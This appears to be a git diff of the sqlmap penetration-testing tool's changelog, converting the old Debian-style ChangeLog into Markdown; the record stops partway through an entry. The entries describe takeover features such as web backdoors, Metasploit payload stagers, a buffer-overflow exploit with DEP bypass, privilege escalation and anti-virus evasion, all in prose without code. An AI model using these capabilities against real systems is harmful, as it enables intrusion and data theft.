+* Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root.
+* Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries.
+* Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function.
+* Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5.
+* Updated active fingerprint for PostgreSQL 8.4.
+* Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`.
+* Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses.
+* Support for Certificate authentication, `--auth-cert` option added.
+* Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`.
+* Added option `-r` to load a single HTTP request from a text file.
+* Added switch `--ignore-proxy` to ignore the system default HTTP proxy.
+* Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`.
+* Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`.
+* Major bug fix and enhancements to the multi-threading (`--threads`) functionality.
+* Fixed URL encoding/decoding of GET/POST parameters and Cookie header.
+* Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository.
+* Major bugs fixed.
+* Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack.
+* Major code cleanup.
+* Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware.
+* Updated user's manual.
+* Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html.
+
+# Version 0.8 release candidate (2009-09-21)
+
+* Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection.
+* Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable.
+* Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys.
+* Added options for MySQL and PostgreSQL to inject custom user-defined functions.
+* Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output.
+* Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified.
+* Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system.
+* Minor bugs fixed.
+* Major code refactoring.
+
+# Version 0.7 (2009-07-25)
+
+* Adapted Metasploit wrapping functions to work with latest 3.3 development version too.
+* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
+* Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too.
+* Minor improvement so that sqlmap tests also all parameters with no value (eg. par=).
+* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+.
+* Major bug fix to sql-query/sql-shell features.
+* Major bug fix in `--read-file` option.
+* Major silent bug fix to multi-threading functionality.
+* Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided.
+* Fixed MySQL 'comment injection' version fingerprint.
+* Fixed basic Microsoft SQL Server 2000 fingerprint.
+* Many minor bug fixes and code refactoring.
+
+# Version 0.7 release candidate (2009-04-22)
+
+* Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server;
+* Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux;
+* Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support;
+* Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit;
+* Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server;
+* Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable;
+* Speed up the inference algorithm by providing the minimum required charset for the query output;
+* Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little;
+* Many minor bug fixes, minor enhancements and layout adjustments.
+
+# Version 0.6.4 (2009-02-03)
+
+* Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object;
+* Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology;
+* Major speed increase in DBMS basic fingerprint;
+* Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator;
+* Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing;
+* Added internal support to forge CASE statements, used only by `--is-dba` query at the moment;
+* Minor layout adjustment to the `--update` output;
+* Increased default timeout to 30 seconds;
+* Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle;
+* Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable;
+* Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server;
+* Minor bug fix to make the `--postfix` work even if `--prefix` is not provided;
+* Updated documentation.
+
+# Version 0.6.3 (2008-12-18)
+
+* Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ;
+* Major enhancement to support Partial UNION query SQL injection technique too;
+* Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality;
+* Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`;
+* Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers;
+* Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided;
+* Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher;
+* Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`;
+* Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user;
+* Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
+* Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content;
+* Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set;
+* Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords;
+* Minor improvements to sqlmap Debian package files;
+* Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations;
+* Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url;
+* Major bug fix to correctly enumerate columns on Microsoft SQL Server;
+* Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified;
+* Minor bug fix to correctly dump table entries when the column is provided;
+* Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests;
+* Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread;
+* Increased default output level from 0 to 1;
+* Updated documentation.
+
+# Version 0.6.2 (2008-11-02)
+
+* Major bug fix to correctly dump tables entries when `--stop` is not specified;
+* Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0;
+* Major bug fix when the request is POST to also send the GET parameters if any have been provided;
+* Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`;
+* Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file;
+* Minor bug fix in MySQL comment injection fingerprint technique;
+* Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database;
+* Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided;
+* Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
+* More user-friendly warning messages.
+
+# Version 0.6.1 (2008-08-20)
+
+* Major bug fix to blind SQL injection bisection algorithm to handle an exception;
+* Added a Metasploit Framework 3 auxiliary module to run sqlmap;
+* Implemented possibility to test for and inject also on LIKE statements;
+* Implemented `--start` and `--stop` options to set the first and the last table entry to dump;
+* Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool;
+* Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes;
+* Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore;
+* Minor bug fix to correctly handle parameters' value with `%` character.
+
+# Version 0.6 (2008-09-01)
+
+* Complete code refactor and many bugs fixed;
+* Added multithreading support to set the maximum number of concurrent HTTP requests;
+* Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack;
+* Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator;
+* Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file;
+* Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option;
+* Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages;
+* Created sqlmap .exe (Windows) portable executable;
+* Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times;
+* Improved automatic check for parenthesis when testing and forging SQL query vector;
+* Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable;
+* Implemented support for HTTPS requests over HTTP(S) proxy;
+* Added a check to handle NULL or not available queries output;
+* More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks;
+* Improved XML files structure;
+* Implemented the possibility to change the HTTP Referer header;
+* Added support to resume from session file also when running with inband SQL injection attack;
+* Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root;
+* Added a check to assure that the provided string to match (`--string`) is within the page content;
+* Fixed various queries in XML file;
+* Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it;
+* Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function;
+* Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable;
+* Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic;
+* Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires;
+* Added support to inject also on Set-Cookie parameters;
+* Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`;
+* Renamed some command line options;
+* Added a conversion library;
+* Added code schema and reminders for future developments;
+* Added Copyright comment and $Id$;
+* Updated the command line layout and help messages;
+* Updated some docstrings;
+* Updated documentation files.
+
+# Version 0.5 (2007-11-04)
+
+* Added support for Oracle database management system
+* Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins;
+* Added support to extract database users password hash on Microsoft SQL Server;
+* Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting;
+* Added support for SQL injection on HTTP Cookie and User-Agent headers;
+* Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind();
+* Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack;
+* Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables;
+* Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`);
+* Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default;
+* Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml;
+* Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped;
+* Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py;
+* Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`);
+* Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces;
+* More minor layout enhancements in some libraries;
+* Renamed DMBS plugins;
+* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
+* Updated all documentation files.
+
+# Version 0.4 (2007-06-15)
+
+* Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS;
+* Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS;
+* Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`);
+* Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`);
+* Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ;
+* Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS;
+* Improved logging functionality: passed from banal 'print' to Python native logging library;
+* Added support for more than one parameter in `-p` command line option;
+* Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`);
+* Added the command line option `--remote-dbms` to manually specify the remote DBMS;
+* Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements;
+* Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`);
+* Added support to specify the database table column to enumerate (`-C COL`);
+* Added inband SQL injection (UNION query) support (`--union-use`);
+* Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements;
+* Reviewed the directory tree structure;
+* Split lib/common.py: inband injection functionalities now are moved to lib/union.py;
+* Updated documentation files.
+
+# Version 0.3 (2007-01-20)
+
+* Added module for MS SQL Server;
+* Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check;
+* Added PostgreSQL dbms active fingerprint;
+* Added support for string match (`--string`);
+* Added support for UNION check (`--union-check`);
+* Removed duplicated code, delegated most of features to the engine in common.py and option.py;
+* Added support for `--data` command line argument to pass the string for POST requests;
+* Added encodeParams() method to encode url parameters before making http request;
+* Many bug fixes;
+* Rewritten documentation files;
+* Complete code restyling.
+
+# Version 0.2 (2006-12-13)
+
+* complete refactor of entire program;
+* added TODO and THANKS files;
+* added some papers references in README file;
+* moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header;
+* strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions;
+* replaced old inference algorithm with a new bisection algorithm.
+* reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter;
+* improved Common class, adding support for http proxy and http post method in hash_page;
+* added OptionCheck class in option.py which performs all needed checks on command line parameters and values;
+* added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters;
+* improved output methods in dump.py;
+* layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions.
diff --git a/doc/ChangeLog b/doc/ChangeLog
deleted file mode 100644
index 8d23e2ae31f..00000000000
--- a/doc/ChangeLog
+++ /dev/null
@@ -1,597 +0,0 @@
-sqlmap (1.0-1) stable; urgency=low
-
- * Implemented support for automatic decoding of page content through detected
- charset (Miroslav)
- * Implemented mechanism for proper data dumping on DBMSes not supporting
- LIMIT/OFFSET like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.)
- (Miroslav)
- * Major improvements to program stabilization based on user reports (Miroslav)
- * Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms
- (Miroslav)
- * Added support for setting Tor proxy type together with port (Miroslav)
- * Fixed major bug with DNS leaking in Tor mode (Miroslav)
- * Added wordlist compilation made of the most popular cracking dictionaries
- (Miroslav)
- * Added support for mnemonics substantially helping user with program setup
- (Miroslav)
- * Implemented multi-processor hash cracking routine(s) on Linux OS (Miroslav)
- * Implemented advanced detection techniques for inband and time-based
- injections by usage of standard deviation method (Miroslav)
- * Old resume files are now deprecated and replaced by faster SQLite based
- session mechanism (Miroslav)
- * Substantial code optimization and smaller memory footprint (Miroslav)
- * Added switch -m for scanning multiple targets enlisted in a given textual
- file (Miroslav)
- * Added switch --randomize for randomly changing value of a given
- parameter(s) based on it's original form (Miroslav)
- * Added switch --force-ssl for forcing usage of SSL/HTTPS requests (Miroslav)
- * Added switch --host for manually setting HTTP Host header value (Miroslav)
- * Added switch --eval for evaluating provided Python code (with resulting
- parameter values) right before the request itself (Miroslav)
- * Added switch --skip for skipping tests for given parameter(s) (Miroslav)
- * Added switch --titles for comparing pages based only on their titles
- (Miroslav)
- * Added switch --charset for forcing character encoding used for data
- retrieval (Miroslav)
- * Added switch --check-tor for checking if Tor is used properly (Miroslav)
- * Added switch --crawl for multithreaded crawling of a given website starting
- from the target url (Miroslav)
- * Added switch --csv-del for manually setting delimiting character used in CSV
- output (Miroslav)
- * Added switch --hex for using DBMS hex conversion function(s) for data
- retrieval (Miroslav)
- * Added switch --smart for conducting through tests only in case of positive
- heuristic(s) (Miroslav)
- * Added switch --check-waf for checking of existence of WAF/IPS/IDS protection
- (Miroslav)
- * Added --schema switch to enumerate DBMS schema: shows all columns of
- all databases' tables (Bernardo)
- * Added --count switch to count the number of entries for a specific
- table or all database(s) tables (Bernardo)
- * Major improvements to --tables and --columns switches (Bernardo)
- * Takeover switch --os-pwn improved: stealthier, faster and AV-proof
- (Bernardo)
- * Added --mobile switch to imitate a mobile device through HTTP
- User-Agent header (Miroslav)
-
- -- Bernardo Damele A. G. XXX, XX XXX 2011 10:00:00 +0000
-
-sqlmap (0.9-1) stable; urgency=low
-
- * Rewritten SQL injection detection engine (Bernardo and Miroslav).
- * Support to directly connect to the database without passing via a
- SQL injection, -d switch (Bernardo and Miroslav).
- * Added full support for both time-based blind SQL injection and
- error-based SQL injection techniques (Bernardo and Miroslav).
- * Implemented support for SQLite 2 and 3 (Bernardo and Miroslav).
- * Implemented support for Firebird (Bernardo and Miroslav).
- * Implemented support for Microsoft Access, Sybase and SAP MaxDB
- (Miroslav).
- * Extended old '--dump -C' functionality to be able to search for
- specific database(s), table(s) and column(s), --search switch
- (Bernardo).
- * Added support to tamper injection data with --tamper switch (Bernardo
- and Miroslav).
- * Added automatic recognition of password hashes format and support to
- crack them with a dictionary-based attack (Miroslav).
- * Added support to enumerate roles on Oracle, --roles switch (Bernardo).
- * Added support for SOAP based web services requests (Bernardo).
- * Added support to fetch unicode data (Bernardo and Miroslav).
- * Added support to use persistent HTTP(s) connection for speed
- improvement, --keep-alive switch (Miroslav).
- * Implemented several optimization switches to speed up the exploitation
- of SQL injections (Bernardo and Miroslav).
- * Support to test and inject against HTTP Referer header (Miroslav).
- * Implemented HTTP(s) proxy authentication support, --proxy-cred switch
- (Miroslav).
- * Implemented feature to speedup the enumeration of table names
- (Miroslav).
- * Support for customizable HTTP(s) redirections (Bernardo).
- * Support to replicate the back-end DBMS tables structure and entries
- in a local SQLite 3 database, --replicate switch (Miroslav).
- * Support to parse and test forms on target url, --forms switch
- (Bernardo and Miroslav).
- * Added switches to brute-force tables names and columns names with a
- dictionary attack, --common-tables and --common-columns. Useful for
- instance when system table 'information_schema' is not available on
- MySQL (Miroslav).
- * Basic support for REST-style URL parameters by using the asterisk (*)
- to mark where to test for and exploit SQL injection (Miroslav).
- * Added safe URL feature, --safe-url and --safe-freq (Miroslav).
- * Added --text-only switch to strip from the HTTP response body the
- HTML/JS code and compare pages based only on their textual content
- (Miroslav).
- * Implemented few other features and switches (Bernardo and Miroslav).
- * Over 100 bugs fixed (Bernardo and Miroslav).
- * Major code refactoring (Bernardo and Miroslav).
- * User's manual updated (Bernardo).
-
- -- Bernardo Damele A. G. Sun, 10 Apr 2011 21:00:00 +0000
-
-sqlmap (0.8-1) stable; urgency=low
-
- * Support to enumerate and dump all databases' tables containing user
- provided column(s) by specifying for instance '--dump -C user,pass'.
- Useful to identify for instance tables containing custom application
- credentials (Bernardo).
- * Support to parse -C (column name(s)) when fetching
- columns of a table with --columns: it will enumerate only columns like
- the provided one(s) within the specified table (Bernardo).
- * Support for takeover features on PostgreSQL 8.4 (Bernardo).
- * Enhanced --priv-esc to rely on new Metasploit Meterpreter's
- 'getsystem' command to elevate privileges of the user running the
- back-end DBMS instance to SYSTEM on Windows (Bernardo).
- * Automatic support in --os-pwn to use the web uploader/backdoor to
- upload and execute the Metasploit payload stager when stacked queries
- SQL injection is not supported, for instance on MySQL/PHP and
- MySQL/ASP, but there is a writable folder within the web server
- document root (Bernardo and Miroslav).
- * Fixed web backdoor functionality for --os-cmd, --os-shell and --os-pwn
- useful when web application does not support stacked queries (Bernardo).
- * Added support to properly read (--read-file) also binary files via
- PostgreSQL by injecting sqlmap new sys_fileread() user-defined
- function (Bernardo and Miroslav).
- * Updated active fingerprint and comment injection fingerprint for
- MySQL 5.1, MySQL 5.4 and MySQL 5.5 (Bernardo).
- * Updated active fingerprint for PostgreSQL 8.4 (Bernardo).
- * Support for NTLM authentication via python-ntlm third party library,
- http://code.google.com/p/python-ntlm/, --auth-type NTLM (Bernardo).
- * Support to automatically decode deflate, gzip and x-gzip HTTP
- responses (Miroslav).
- * Support for Certificate authentication, --auth-cert option added
- (Miroslav).
- * Added support for regular expression based scope when parsing Burp or
- Web Scarab proxy log file (-l), --scope (Miroslav).
- * Added option (-r) to load a single HTTP request from a text file
- (Miroslav).
- * Added option (--ignore-proxy) to ignore system default HTTP proxy
- (Miroslav).
- * Added support to ignore Set-Cookie in HTTP responses,
- --drop-set-cookie (Miroslav).
- * Added support to specify which Google dork result page to parse,
- --gpage to be used together with -g (Miroslav).
- * Major bug fix and enhancements to the multi-threading (--threads)
- functionality (Miroslav).
- * Fixed URL encoding/decoding of GET/POST parameters and Cookie header
- (Miroslav).
- * Refactored --update to use python-svn third party library if available
- or 'svn' command to update sqlmap to the latest development version
- from subversion repository (Bernardo and Miroslav).
- * Major bugs fixed (Bernardo and Miroslav).
- * Cleanup of UDF source code repository,
- https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo
- and Miroslav).
- * Major code cleanup (Miroslav).
- * Added simple file encryption/compression utility, extra/cloak/cloak.py,
- used by sqlmap to decrypt on the fly Churrasco, UPX executable and web
- shells consequently reducing drastically the number of anti-virus
- softwares that mistakenly mark sqlmap as a malware (Miroslav).
- * Updated user's manual (Bernardo and Miroslav).
- * Created several demo videos, hosted on YouTube
- (http://www.youtube.com/user/inquisb) and linked from
- http://www.sqlmap.org/demo.html (Bernardo).
-
- -- Bernardo Damele A. G. Sun, 14 Mar 2010 10:00:00 +0000
-
-sqlmap (0.8rc1-1) stable; urgency=low
-
- * Major enhancement to the Microsoft SQL Server stored procedure
- heap-based buffer overflow exploit (--os-bof) to automatically bypass
- DEP memory protection.
- * Added support for MySQL and PostgreSQL to execute Metasploit shellcode
- via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
- option instead of uploading the standalone payload stager executable.
- * Added options for MySQL, PostgreSQL and Microsoft SQL Server to
- read/add/delete Windows registry keys.
- * Added options for MySQL and PostgreSQL to inject custom user-defined
- functions.
- * Added support for --first and --last so the user now has even more
- granularity in what to enumerate in the query output.
- * Minor enhancement to save the session by default in
- 'output/hostname/session' file if -s option is not specified.
- * Minor improvement to automatically remove sqlmap created temporary
- files from the DBMS underlying file system.
- * Minor bugs fixed.
- * Major code refactoring.
-
- -- Bernardo Damele A. G. Mon, 21 Sep 2009 15:00:00 +0000
-
-sqlmap (0.7-1) stable; urgency=low
-
- * Adapted Metasploit wrapping functions to work with latest 3.3
- development version too.
- * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
- * Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
- --os-bof is selected) when running under Windows because msfconsole
- and msfcli are not supported on the native Windows Ruby interpreter.
- This make sqlmap 0.7 to work again on Windows too.
- * Minor improvement so that sqlmap tests also all parameters with no
- value (eg. par=).
- * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
- 2.6+.
- * Major bug fix to sql-query/sql-shell features.
- * Major bug fix in --read-file option.
- * Major silent bug fix to multi-threading functionality.
- * Fixed the web backdoor functionality (for MySQL) when (usually) stacked
- queries are not supported and --os-shell is provided.
- * Fixed MySQL 'comment injection' version fingerprint.
- * Fixed basic Microsoft SQL Server 2000 fingerprint.
- * Many minor bug fixes and code refactoring.
-
- -- Bernardo Damele A. G. Sat, 25 Jul 2009 10:00:00 +0000
-
-sqlmap (0.7rc1-1) stable; urgency=low
-
- * Added support to execute arbitrary commands on the database server
- underlying operating system either returning the standard output or not
- via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
- procedure on Microsoft SQL Server;
- * Added support for out-of-band connection between the attacker box and
- the database server underlying operating system via stand-alone payload
- stager created by Metasploit and supporting Meterpreter, shell and VNC
- payloads for both Windows and Linux;
- * Added support for out-of-band connection via Microsoft SQL Server 2000
- and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
- overflow (MS09-004) exploitation with multi-stage Metasploit payload
- support;
- * Added support for out-of-band connection via SMB reflection attack with
- UNC path request from the database server to the attacker box by using
- the Metasploit smb_relay exploit;
- * Added support to read and write (upload) both text and binary files on
- the database server underlying file system for MySQL, PostgreSQL and
- Microsoft SQL Server;
- * Added database process' user privilege escalation via Windows Access
- Tokens kidnapping on MySQL and Microsoft SQL Server via either
- Meterpreter's incognito extension or Churrasco stand-alone executable;
- * Speed up the inference algorithm by providing the minimum required
- charset for the query output;
- * Major bug fix in the comparison algorithm to correctly handle also the
- case that the url is stable and the False response changes the page
- content very little;
- * Many minor bug fixes, minor enhancements and layout adjustments.
-
- -- Bernardo Damele A. G. Wed, 22 Apr 2009 10:30:00 +0000
-
-sqlmap (0.6.4-1) stable; urgency=low
-
- * Major enhancement to make the comparison algorithm work properly also
- on url not stables automatically by using the difflib Sequence Matcher
- object;
- * Major enhancement to support SQL data definition statements, SQL data
- manipulation statements, etc from user in SQL query and SQL shell if
- stacked queries are supported by the web application technology;
- * Major speed increase in DBMS basic fingerprint;
- * Minor enhancement to support an option (--is-dba) to show if the
- current user is a database management system administrator;
- * Minor enhancement to support an option (--union-tech) to specify the
- technique to use to detect the number of columns used in the web
- application SELECT statement: NULL bruteforcing (default) or ORDER BY
- clause bruteforcing;
- * Added internal support to forge CASE statements, used only by --is-dba
- query at the moment;
- * Minor layout adjustment to the --update output;
- * Increased default timeout to 30 seconds;
- * Major bug fix to correctly handle custom SQL "limited" queries on
- Microsoft SQL Server and Oracle;
- * Major bug fix to avoid tracebacks when multiple targets are specified
- and one of them is not reachable;
- * Minor bug fix to make the Partial UNION query SQL injection technique
- work properly also on Oracle and Microsoft SQL Server;
- * Minor bug fix to make the --postfix work even if --prefix is not
- provided;
- * Updated documentation.
-
- -- Bernardo Damele A. G. Tue, 3 Feb 2009 23:30:00 +0000
-
-sqlmap (0.6.3-1) stable; urgency=low
-
- * Major enhancement to get list of targets to test from Burp proxy
- (http://portswigger.net/suite/) requests log file path or WebScarab
- proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
- 'conversations/' folder path by providing option -l ;
- * Major enhancement to support Partial UNION query SQL injection
- technique too;
- * Major enhancement to test if the web application technology supports
- stacked queries (multiple statements) by providing option
- --stacked-test which will be then used someday also by takeover
- functionality;
- * Major enhancement to test if the injectable parameter is affected by
- a time based blind SQL injection technique by providing option
- --time-test;
- * Minor enhancement to fingerprint the web server operating system and
- the web application technology by parsing some HTTP response headers;
- * Minor enhancement to fingerprint the back-end DBMS operating system by
- parsing the DBMS banner value when -b option is provided;
- * Minor enhancement to be able to specify the number of seconds before
- timeout the connection by providing option --timeout #, default is set
- to 10 seconds and must be 3 or higher;
- * Minor enhancement to be able to specify the number of seconds to wait
- between each HTTP request by providing option --delay #;
- * Minor enhancement to be able to get the injection payload --prefix and
- --postfix from user;
- * Minor enhancement to be able to enumerate table columns and dump table
- entries, also when the database name is not provided, by using the
- current database on MySQL and Microsoft SQL Server, the 'public'
- scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
- * Minor enhancemet to support also --regexp, --excl-str and --excl-reg
- options rather than only --string when comparing HTTP responses page
- content;
- * Minor enhancement to be able to specify extra HTTP headers by providing
- option --headers. By default Accept, Accept-Language and Accept-Charset
- headers are set;
- * Minor improvement to be able to provide CU (as current user) as user
- value (-U) when enumerating users privileges or users passwords;
- * Minor improvements to sqlmap Debian package files;
- * Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
- library if available to speed up the sqlmap algorithmic operations;
- * Minor improvement to retry the HTTP request up to three times in case
- an exception is raised during the connection to the target url;
- * Major bug fix to correctly enumerate columns on Microsoft SQL Server;
- * Major bug fix so that when the user provide a SELECT statement to be
- processed with an asterisk as columns, now it also work if in the FROM
